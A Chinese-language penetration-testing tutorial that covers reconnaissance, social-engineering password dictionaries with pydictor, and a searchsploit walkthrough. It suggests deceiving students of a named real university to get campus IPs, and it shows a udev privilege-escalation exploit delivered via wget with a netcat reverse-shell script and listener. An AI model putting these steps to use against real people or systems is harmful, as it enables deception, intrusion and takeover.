关联信息生成和开放漏洞情报
一、关联信息生成
在渗透前期工作开展之前,需要对目标的各种信息进行分析、拆分、组合。
例如:华南师范大学
根据地域习惯、宗教、互联网开放信息等信息进行简要拆分,假设获取的信息如下:
- 广东人有祭祖习惯
- 广东人口味清淡
- 华师学生比较乖、低调、老实本分型,可以线下进行诱导欺骗从而获得校内网ip
- IPV4地址开放lP段
- 相关社交网络公开的数据库
- 校园论坛
根据宗教、习惯、IP地址、开放数据支持…等,为后续的字典生成、鱼叉、水坑攻击铺下基石。
1.字典生成
pydictor
- 安装:
$ git clone https://github.com/LandGrey/pydictor
- 生成字典
$ cd pydictor
$ python pydictor.py
快速使用:https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md
社会工程学字典:python pydictor.py --sedb
配置选项,然后查看当前配置然后生成字典
set cname liwei
set birth 19880916
show
run
$ vi sedb_153951.txt
- 合并去重
$ python pydictor.py -tool uniqbiner /my/all/dict/
$ mkdir ./tmp
$ mv 1.txt 3.txt ./tmp/
$ python pydictor.py -tool uniqbiner ./tmp/
- 多字典文件组合工具
$ python pydictor.py -tool hybrider heads.txt some_others.txt tails.txt
$ mv * ../
在tmp文件夹下移动当前文件夹下的所有文件到上一级目录
$ python pydictor.py -tool hybrider 1.txt 3.txt
二、开放漏洞情报
1.常用网站
- CVE #通用漏洞披露
- Exploit-DB #漏洞提交平台
- Cx Security #漏洞数据库
- CNVD #国家信息安全漏洞共享平台
- securitytracker #漏洞数据库
- github #开源及私有软件项目的托管平台
- seebug #知道创宇漏洞数据库
- exploits.shodan.io
2.Search Exploit-DB
kail自带
$ searchsploit
示例
- 搜索Windows提权漏洞
$ searchsploit -t windows local
- 搜索Apache漏洞
$ searchsploit -t Apache
实际操作可以看看这个
searchsploit工具(exploit-db.com)使用实例:https://blog.youkuaiyun.com/whatday/article/details/102821589
试一试实例
1. 查找漏洞
搜索 privilege,然后使用 grep 命令来缩小查找范围,加上 -i 参数忽略大小写
$ searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
使用 8572.c 这个exp,它利用了 UDEV 设备管理器中的一个漏洞,允许通过未经验证的 Netlink 消息来执行代码
linux/local/8572.c
使用 locate 命令来查找完整的路径
$ locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
2. 本地 kali 中搭建 Apache 服务器
执行以下命令
$ service apache2 restart
测试
在浏览器中输入localhost测试Apache是否配置成功
3. exp 上传到靶机中
在服务器文件目录下建立 exp 所在位置的符号链接,这样 exp 才可以下载
执行以下命令
$ ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/
使用nano /var/www/html/run 命令来创建一个文件并输入下面内容:
#! /bin/bash
nc 192.168.70.11 4321 -e /bin/bash
按Ctrl+X
如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。
如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为则输入新名称然后确定。这个时候也可用Ctrl+C来取消返回。
我们使用 Ctrl-X, Y, 和 Enter 进行保存
将 exp 上传到靶机
$ cd /tmp
$ wget http://192.168.70.11/run
$ wget http://192.168.70.11/local/8572.c
4.编译执行
使用 gcc 命令,使用 -o 参数来指定输出文件的名字
$ gcc -o exploit 8572.c
使用 -B 参数来指定链接器的位置
$ gcc -B /usr/bin -o exploit 8572.c
使用 ls 命令来查看可执行文件是否已经成功编译
$ ls
找到 Netlink 套接字的 PID
$ cat /proc/net/netlink
使用 ps aux | grep udev 来查看 UDEVD 的 PID
$ ps aux | grep udev
把PID减去1之后运行,发现不行,再仔细找了一下,啊哈哈,我Ubuntu好像没有这个本地漏洞
不管了,接下来就是开启监听
$ nc -lvp 4321
如果有这个漏洞,监听之后应该是这样的
nc -lvp 4321
listening on [any] 4321 ...
192.168.70.144: inverse host lookup failed: Unknown host
connect to [192.168.70.11] from (UNKNOWN) [192.168.70.144] 34418
id
uid=0(root) gid=0(root)
whoami
root
回头看了一下,我Ubuntu版本太高了,这就尴尬了…
$ uname -a
$ lsb_release -a